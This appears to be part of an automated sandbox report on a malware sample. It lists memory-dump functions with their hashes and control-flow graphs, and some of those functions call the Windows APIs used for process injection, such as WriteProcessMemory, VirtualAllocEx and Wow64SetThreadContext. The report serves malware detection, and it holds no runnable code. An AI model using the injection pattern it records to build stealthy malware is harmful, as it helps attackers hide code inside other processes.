                                                                            • Opcode Fuzzy Hash: e1050055af42c6cd0c87ee3aa63b05218d8c4da02a8f4cbfbc1349fb74e6e2f2
                                                                            • Instruction Fuzzy Hash: F3519F70D002599FDB10EFA9D8457EEBBF2BF48314F148229E855E7384EB74A842CB91
                                                                            Function 0468B912 Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 713 468b912-468b966 716 468b968-468b974 713->716 717 468b976-468b9b5 WriteProcessMemory 713->717 716->717 719 468b9be-468b9ee 717->719 720 468b9b7-468b9bd 717->720 720->719
                                                                            APIs
                                                                            • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0468B9A8
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: MemoryProcessWrite
                                                                            • String ID:
                                                                            • API String ID: 3559483778-0
                                                                            • Opcode ID: 1dd877e49bdf38c403247e66713fca111510ea89829489bdb63268a061c77866
                                                                            • Instruction ID: 6e31e7441c0da657227a3c4f01555de7e9f5586c81ae950fba28bc4a9c1b9b41
                                                                            • Opcode Fuzzy Hash: 1dd877e49bdf38c403247e66713fca111510ea89829489bdb63268a061c77866
                                                                            • Instruction Fuzzy Hash: 212146B19003599FDF10DFA9C885BDEBBF5FF48310F10842AE958A7251D778A944CBA4
                                                                            Function 0468B918 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 724 468b918-468b966 726 468b968-468b974 724->726 727 468b976-468b9b5 WriteProcessMemory 724->727 726->727 729 468b9be-468b9ee 727->729 730 468b9b7-468b9bd 727->730 730->729
                                                                            APIs
                                                                            • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0468B9A8
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: MemoryProcessWrite
                                                                            • String ID:
                                                                            • API String ID: 3559483778-0
                                                                            • Opcode ID: 6776316402d9b1e45eff4ad562081a4f0759f9922c3d1cc7a80f0b08a013cae0
                                                                            • Instruction ID: 7929a2b3e81634db3a11e80b341c6df1c1ab849bdc6daf25fe91009d8313182c
                                                                            • Opcode Fuzzy Hash: 6776316402d9b1e45eff4ad562081a4f0759f9922c3d1cc7a80f0b08a013cae0
                                                                            • Instruction Fuzzy Hash: D52146B19003599FCB10DFA9C885BDEBBF5FF48310F108429E958A7251D778A944CBA4
                                                                            Function 0468B3F0 Relevance: 1.6, APIs: 1, Instructions: 64threadCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 742 468b3f0-468b443 745 468b453-468b483 Wow64SetThreadContext 742->745 746 468b445-468b451 742->746 748 468b48c-468b4bc 745->748 749 468b485-468b48b 745->749 746->745 749->748
                                                                            APIs
                                                                            • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0468B476
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: ContextThreadWow64
                                                                            • String ID:
                                                                            • API String ID: 983334009-0
                                                                            • Opcode ID: 2ba526bba91ebd124b466dc7a97659ad880cdf04cc618af14f2693741c5dfd86
                                                                            • Instruction ID: 822813ff8a320ff307589e25421332390f69ead1c80911729f1f1df29ed80fb9
                                                                            • Opcode Fuzzy Hash: 2ba526bba91ebd124b466dc7a97659ad880cdf04cc618af14f2693741c5dfd86
                                                                            • Instruction Fuzzy Hash: 03214A719003098FDB10DFAAC4457DEFBF4AB48320F10852DD569A7251D778A585CF94
                                                                            Function 0468B3F8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0468B476
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: ContextThreadWow64
                                                                            • String ID:
                                                                            • API String ID: 983334009-0
                                                                            • Opcode ID: d255414b1a13791b4716169b1d2d096972e5b0da324f408eb54029fae6c1412a
                                                                            • Instruction ID: 499a16f5a8af868bcf4c0caca3919a9757aad9b8af85513c25be64632912973d
                                                                            • Opcode Fuzzy Hash: d255414b1a13791b4716169b1d2d096972e5b0da324f408eb54029fae6c1412a
                                                                            • Instruction Fuzzy Hash: CF2137B19003098FDB10DFAAC4857EEBBF4AB48324F108429D559A7241DB78A944CFA5
                                                                            Function 0468BD00 Relevance: 1.6, APIs: 1, Instructions: 62memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VirtualProtect.KERNEL32(?,?,?,?), ref: 0468BD7C
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: ProtectVirtual
                                                                            • String ID:
                                                                            • API String ID: 544645111-0
                                                                            • Opcode ID: 787b6bfceb6d5313e752f05db17159f614633eaf82b33207f67900b4b46dec64
                                                                            • Instruction ID: db0b53941d6d13f4d5a2c713e2f51cacd1ffdb81464bdae9bd468c802f18a319
                                                                            • Opcode Fuzzy Hash: 787b6bfceb6d5313e752f05db17159f614633eaf82b33207f67900b4b46dec64
                                                                            • Instruction Fuzzy Hash: 6B21F5B18002499FDB10DFAAC445BEEFBF5EF88320F10842AD469A7250DB78A5458FA5
                                                                            Function 0468BD08 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VirtualProtect.KERNEL32(?,?,?,?), ref: 0468BD7C
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: ProtectVirtual
                                                                            • String ID:
                                                                            • API String ID: 544645111-0
                                                                            • Opcode ID: 9312173fe87055976ba8a5ca17daef8c90da8c7cf475e3231becb2b4536dcebc
                                                                            • Instruction ID: 0cd424aa4d3edd76e0d49c6c5bd70bfafbf1cce73db2280b0d52bba39e6b8cb3
                                                                            • Opcode Fuzzy Hash: 9312173fe87055976ba8a5ca17daef8c90da8c7cf475e3231becb2b4536dcebc
                                                                            • Instruction Fuzzy Hash: C42115B18002499FDB10DFAAC445BEEFBF4EF48320F10842AD459A7250DB78A945CFA5
                                                                            Function 0468B811 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0468B886
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: AllocVirtual
                                                                            • String ID:
                                                                            • API String ID: 4275171209-0
                                                                            • Opcode ID: 6fdccabc1dc9ba0026ba7d7e59cb603356cf780902492b25178b8b618e4e4b6b
                                                                            • Instruction ID: a0f58992769aedbbc87220478b2a9a0a4565472a0d5c396c84f374208487682c
                                                                            • Opcode Fuzzy Hash: 6fdccabc1dc9ba0026ba7d7e59cb603356cf780902492b25178b8b618e4e4b6b
                                                                            • Instruction Fuzzy Hash: 501144B29002489FDB10DFAAC844ADEFFF5EB88320F24841AE559A7251C735A944CFA0
                                                                            Function 0468B818 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0468B886
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: AllocVirtual
                                                                            • String ID:
                                                                            • API String ID: 4275171209-0
                                                                            • Opcode ID: 799cbb2fc095217fbe189f9b8857f84dcb69c0fe0e2aeda8535a382fbda5121b
                                                                            • Instruction ID: 61737e854d1dde59ace74b69931cc57626e0f84bc19fe3f8468aa2e1a94d84ca
                                                                            • Opcode Fuzzy Hash: 799cbb2fc095217fbe189f9b8857f84dcb69c0fe0e2aeda8535a382fbda5121b
                                                                            • Instruction Fuzzy Hash: 4B1126B19002499FCB10DFAAC844BDEBFF5EB88320F108419E559A7250C775A954CFA5
                                                                            Function 046C0B78 Relevance: 1.5, Strings: 1, Instructions: 228COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: @
                                                                            • API String ID: 0-2766056989
                                                                            • Opcode ID: 73185213fe268f2971b7c8e6b5f58343707b114d3aced1a4201b5ca6b8f888aa
                                                                            • Instruction ID: 230f30d165a848c1fc41d0bd8176657373dcd75c2dfd96666fa974ec7970a8ba
                                                                            • Opcode Fuzzy Hash: 73185213fe268f2971b7c8e6b5f58343707b114d3aced1a4201b5ca6b8f888aa
                                                                            • Instruction Fuzzy Hash: EAA1E374E05218CFDB64DFA8D884BADBBB2FB49300F1091AAD409A7345EB746E85DF01
                                                                            Function 046C0B6A Relevance: 1.5, Strings: 1, Instructions: 225COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: @
                                                                            • API String ID: 0-2766056989
                                                                            • Opcode ID: ddf65cf81f46db0b86bf35c2da2850e99d9dc6c018d17542c02cedd971da2766
                                                                            • Instruction ID: 16e4d2086a8a98e21338c4a0f1c2874e7a8729fc18d3a1430f05dd3fe6156d7c
                                                                            • Opcode Fuzzy Hash: ddf65cf81f46db0b86bf35c2da2850e99d9dc6c018d17542c02cedd971da2766
                                                                            • Instruction Fuzzy Hash: 3EA10674E05618CFDB64DFA8D884BADBBB2FB49300F1090AAD409A7345EB346D85CF41
                                                                            Function 00CD1CC8 Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: Te^q
                                                                            • API String ID: 0-671973202
                                                                            • Opcode ID: 7da83bc7bf4ea42fb2498d364794644beb9d067102978a28407695a9542a1dd6
                                                                            • Instruction ID: 5ffad4453aaf06f622ed0be10c9c5382bd13f7d0c31aa99587f9eedfef29e50c
                                                                            • Opcode Fuzzy Hash: 7da83bc7bf4ea42fb2498d364794644beb9d067102978a28407695a9542a1dd6
                                                                            • Instruction Fuzzy Hash: C2312534B40114DFDB18DFA9D858BADBBB2BF88705F14046AEA02DB3A5CB709D01CB40
                                                                            Function 046C9755 Relevance: 1.3, Strings: 1, Instructions: 49COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: &
                                                                            • API String ID: 0-1010288
                                                                            • Opcode ID: 8b3993455ffd8e4ffbb51927f62e996d2fc39641aa8148fbf1e85725c67d5c48
                                                                            • Instruction ID: df7cb1aa4de88319b0c1a5425695a3233a7cea46ac9b9b7f7c33ccbf26570ef7
                                                                            • Opcode Fuzzy Hash: 8b3993455ffd8e4ffbb51927f62e996d2fc39641aa8148fbf1e85725c67d5c48
                                                                            • Instruction Fuzzy Hash: 4421EDB0A10268CFEB24EF59D844BECBBB1FB08304F1094DAD409A7244E736AE85CF40
                                                                            Function 046C8E5F Relevance: 1.3, Strings: 1, Instructions: 40COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: )
                                                                            • API String ID: 0-2427484129
                                                                            • Opcode ID: eccd88fdd12bccb1031b257f28a04e796a75721d2f1a74d325721f9ba9ce9a32
                                                                            • Instruction ID: d6aa79532309d5187ef8af742a2ce0cd12dff311f52ae1da06c50616165fa8d2
                                                                            • Opcode Fuzzy Hash: eccd88fdd12bccb1031b257f28a04e796a75721d2f1a74d325721f9ba9ce9a32
                                                                            • Instruction Fuzzy Hash: 3811B270904268CFDB60DF64C848BE9BBB1FB08305F5096D9D40DA7254D736AE86CF00
                                                                            Function 046C9579 Relevance: 1.3, Strings: 1, Instructions: 38COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: &
                                                                            • API String ID: 0-1010288
                                                                            • Opcode ID: c3adad45ff98ee085c136dbbb6491184e4eca1eb9abedfd1870d46b091917f8a
                                                                            • Instruction ID: f589f51d73b2ae1ac9c5d1953490035f1dd815cf6b6ded2f5168ca5c97bc69bc
                                                                            • Opcode Fuzzy Hash: c3adad45ff98ee085c136dbbb6491184e4eca1eb9abedfd1870d46b091917f8a
                                                                            • Instruction Fuzzy Hash: 9A11BD70A10269CFDB64EF68D944BDCBBB2FB49300F5095DAE509A7244EB31AE85CF40
                                                                            Function 046C9191 Relevance: 1.3, Strings: 1, Instructions: 36COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: &
                                                                            • API String ID: 0-1010288
                                                                            • Opcode ID: d867bbea2f266ec7413ccc09b00b69984729b1666002858ad361f994af67a648
                                                                            • Instruction ID: 9e239343d1f8bba6c86271d6686a81d835fccf4aa4fa567fa8f38332a00adb6d
                                                                            • Opcode Fuzzy Hash: d867bbea2f266ec7413ccc09b00b69984729b1666002858ad361f994af67a648
                                                                            • Instruction Fuzzy Hash: 9311A270915228CFEB64DF59D944BECBBB2FB08305F5091D9D509A7244E376AE85CF00
                                                                            Function 046C9904 Relevance: 1.3, Strings: 1, Instructions: 32COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: +
                                                                            • API String ID: 0-2126386893
                                                                            • Opcode ID: 68c628dd3b54662aa9aaf7c8d2c73a5608fd7937276329ba70cc19d6c469d00b
                                                                            • Instruction ID: 6da5e761faed3c140499a8307c3a90673dcf5eb8e1cd23ce41ae5136b59ee7fe
                                                                            • Opcode Fuzzy Hash: 68c628dd3b54662aa9aaf7c8d2c73a5608fd7937276329ba70cc19d6c469d00b
                                                                            • Instruction Fuzzy Hash: D001C470A012188FCB64EFA4C894BDDBBB6FB8C301F10809A990DA7254D735AE86CF40
                                                                            Function 046C8A98 Relevance: 1.3, Strings: 1, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: !
                                                                            • API String ID: 0-2657877971
                                                                            • Opcode ID: 135e6c0ef68817c1541236d00c03afe3ee15453a2879aee2d39afc7990656015
                                                                            • Instruction ID: b69ba4c5cecb46c04dcafa1ce2722bd82b37b6b1ac20d66b8bb90d6811e8ed59
                                                                            • Opcode Fuzzy Hash: 135e6c0ef68817c1541236d00c03afe3ee15453a2879aee2d39afc7990656015
                                                                            • Instruction Fuzzy Hash: D4F03934904659CFCB28DF51CA08BE9BBB2FF49306F1094DAD80A63250E3349E85DF00
                                                                            Function 00CD2A90 Relevance: .5, Instructions: 535COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 356c22fb81dcd538e8df7188d146b086e0a15f24eeb6a713310ef0fdbb95f8cf
                                                                            • Instruction ID: de70f521357300e35257e3170b4e95373932944c379b56fbdba9b702b869950c
                                                                            • Opcode Fuzzy Hash: 356c22fb81dcd538e8df7188d146b086e0a15f24eeb6a713310ef0fdbb95f8cf
                                                                            • Instruction Fuzzy Hash: 2A421674900280CFD316EF06D548A6ABFB1FB50304F9AD0AAD1254F66ADB79DE84DF41
                                                                            Function 00CD29B8 Relevance: .5, Instructions: 484COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b603c97cdb6418fe3d4f6a25383cd829afdcc645f2d268f1974bbc000fd4599d
                                                                            • Instruction ID: 8fdd0a92a4941ae235453ba3f54227b203f157d1176f06a5105c9c2a9aa674a6
                                                                            • Opcode Fuzzy Hash: b603c97cdb6418fe3d4f6a25383cd829afdcc645f2d268f1974bbc000fd4599d
                                                                            • Instruction Fuzzy Hash: F0321870911680CFE326EF16D548A657FF1BB10304F8AD0ABD1254FA6AD77ADA88DB01
                                                                            Function 046C6E01 Relevance: .2, Instructions: 234COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7ffc179cd76805744f8d2457da1d335e8198acd4fee36d701c86af1d595c511d
                                                                            • Instruction ID: 8bba165241f620bd00b2b2777e64490ba112869d35bee6d9c33a8cc42cb5ac22
                                                                            • Opcode Fuzzy Hash: 7ffc179cd76805744f8d2457da1d335e8198acd4fee36d701c86af1d595c511d
                                                                            • Instruction Fuzzy Hash: 2BB10674A00618CFCBA8EF68D854BADB7B2FB88310F5090A9D50EA7359DB346D85DF41
                                                                            Function 00CD142B Relevance: .2, Instructions: 218COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 0141f304c5bbdd3799cc525ab2b2c0b554e0c20795424b6961f16a2db0822024
                                                                            • Instruction ID: af4e39eda137911888d92355c91eb30c590425dfe9c99f4a6614db079df02ea8
                                                                            • Opcode Fuzzy Hash: 0141f304c5bbdd3799cc525ab2b2c0b554e0c20795424b6961f16a2db0822024
                                                                            • Instruction Fuzzy Hash: 44710230604241EFDB15DB66E8547AABBA2EB85300F18846BDA17C7795EB34EC82C781
                                                                            Function 00CD38A0 Relevance: .2, Instructions: 211COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a1b2dbef4b2bf830727b8eee504f0d816a95d57b3977115f265f5a119bcce862
                                                                            • Instruction ID: d93027618b7fa94fc5e4ec43c41713521f6ac9de456d2fa1bc222e64e0f10de2
                                                                            • Opcode Fuzzy Hash: a1b2dbef4b2bf830727b8eee504f0d816a95d57b3977115f265f5a119bcce862
                                                                            • Instruction Fuzzy Hash: 9B818F34A04244DFCB14DFAAC994AAAB7F1FF48300F10852BE64A97391D735EE45DB52
                                                                            Function 046C2D9F Relevance: .2, Instructions: 159COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: c52c44c0f14d93f7a8e5e2dcc5aea71d7d4cf0aa38a53229656f11622ba11e87
                                                                            • Instruction ID: bc2de789718d6a1c9ca83b05b62c02061af4f4990a1830463634c0127c99098b
                                                                            • Opcode Fuzzy Hash: c52c44c0f14d93f7a8e5e2dcc5aea71d7d4cf0aa38a53229656f11622ba11e87
                                                                            • Instruction Fuzzy Hash: 34711874A10518CFDB68EF28D859BA9B7F2FB48300F5081EAD50AA7349DB709E85DF50
                                                                            Function 00CD3890 Relevance: .1, Instructions: 129COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 38e151d4cb3928f82d0448af18eb4820ca9b09d2ec88e1b368d625453aa2e633
                                                                            • Instruction ID: 81f707abe86e05aaec64511eeacf5137ee1904c0123c547620b3008d15734c1b
                                                                            • Opcode Fuzzy Hash: 38e151d4cb3928f82d0448af18eb4820ca9b09d2ec88e1b368d625453aa2e633
                                                                            • Instruction Fuzzy Hash: 37511B74A00245DFCB10CF99C944AAAF7F1FB48350B20852BE65AD7360D331EE45EB52
                                                                            Function 00CD65C8 Relevance: .1, Instructions: 125COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 04e06d542a59d5569fe7d0fbc16f1c60d86ac4af1f5dc8409bdb371734a16716
                                                                            • Instruction ID: 4b9861e905b7b1b8db93855b5895449225f816e5ae5ec7661cbb4a872bc98653
                                                                            • Opcode Fuzzy Hash: 04e06d542a59d5569fe7d0fbc16f1c60d86ac4af1f5dc8409bdb371734a16716
                                                                            • Instruction Fuzzy Hash: 06316AB0D002489FCB14CFAAC590ADEBFF5AF48304F24802AE558AB350DB349D45CF90
                                                                            Function 00CD3D02 Relevance: .1, Instructions: 124COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d9eb4ab8d70fd5e467b85765ee96e6c08ee4085c471e4d38f810bbd21caa30cd
                                                                            • Instruction ID: 186507ae6b8b7d5b97b115a050ecbc0ead3c5f74dde42d8b705afe77b0dd3932
                                                                            • Opcode Fuzzy Hash: d9eb4ab8d70fd5e467b85765ee96e6c08ee4085c471e4d38f810bbd21caa30cd
                                                                            • Instruction Fuzzy Hash: 31413D31A14185DFDB14DF69C940ABABBB2EB89310F204967E6019B395C330DE41DFA2
                                                                            Function 00CD1F50 Relevance: .1, Instructions: 124COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 332a694d91012cd297dd167e38c23dfe3c256ac1f29d03cd6edc6ea793996a9a
                                                                            • Instruction ID: 588ba6ec8f2cbe6f03f4bcdadf1df9cec8bf2bee32a37452aedaf0d097c8a340
                                                                            • Opcode Fuzzy Hash: 332a694d91012cd297dd167e38c23dfe3c256ac1f29d03cd6edc6ea793996a9a
                                                                            • Instruction Fuzzy Hash: 2441E134B002059FDB18EBB6C45066F77B2EBC4350B28896AD6098B388EF31DD42D791
                                                                            Function 046C1F98 Relevance: .1, Instructions: 115COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ba67c13dd26c47cc58bfb7e97bbb9ebee891b198155838be10b61d2170ba7c67
                                                                            • Instruction ID: af725865368050d859254d27d0c031197264af500e7c65b19cfd3073759ded7d
                                                                            • Opcode Fuzzy Hash: ba67c13dd26c47cc58bfb7e97bbb9ebee891b198155838be10b61d2170ba7c67
                                                                            • Instruction Fuzzy Hash: ED511470E04228CFEB64DF69C854BEDBBB2FB49304F5090EAD509A7246EB745A85DF10
                                                                            Function 00CD34C1 Relevance: .1, Instructions: 113COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
